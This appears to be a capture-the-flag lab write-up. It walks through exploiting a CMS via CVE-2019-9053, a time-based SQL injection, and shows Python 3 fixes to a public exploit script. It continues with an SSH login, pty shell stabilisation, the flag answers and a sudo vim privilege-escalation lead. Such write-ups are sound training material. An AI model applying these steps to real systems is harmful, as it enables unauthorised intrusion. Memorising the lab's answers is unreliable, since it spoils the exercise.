What's the CVE you're using against the application?
On the web page, in the footer section we can find the version of the CMS.
Let's check Exploit-DB to see if there is an exploit for that version.
Answer
CVE-2019-9053
To what kind of vulnerability is the application vulnerable?
The vulnerability is mentions in the CVE page.
Answer
SQLi
What's the password?
Let's save the exploit to a file called exploit.py.
If you don't have termcolor, you can use the following command:
pip install termcolor
We will have to modify the exploit a bit for Python3.
exploit.py
if not options.url:
-- print "[+] Specify an url target"
++ print("[+] Specify an url target")
-- print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
++ print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
-- print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
++ print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
-- print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
++ print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
def crack_password():
-- dict = open(wordlist)
++ dict = open(wordlist, encoding='utf-8', errors='ignore')
def beautify_print_try(value):
-- print "\033c"
++ print("\033c")
def beautify_print():
-- print "\033c"
++ print("\033c")
if options.cracking:
-- print colored "[*] Now try to crack password"
++ print colored("[*] Now try to crack password")
Let's try and login through SSH using the mitch username and secret password.
$ ssh mitch@10.10.48.90 -p 2222
The authenticity of host '[10.10.48.90]:2222 ([10.10.48.90]:2222)' can't be established.

What's the user flag?
We can stabilize the shell using the following commands:
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
export TERM=xterm
Let's read the user flag.
mitch@Machine:~$ cat user.txt
G00d j0b, keep up!
Answer
G00d j0b, keep up!
Is there any other user in the home directory? What's its name?
Let's check for other users.
mitch@Machine:~$ ls /home/
mitch sunbath
Answer
sunbath
What can you leverage to spawn a privileged shell?
We can check the files that mitch can execute using the following command:
mitch@Machine:~$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
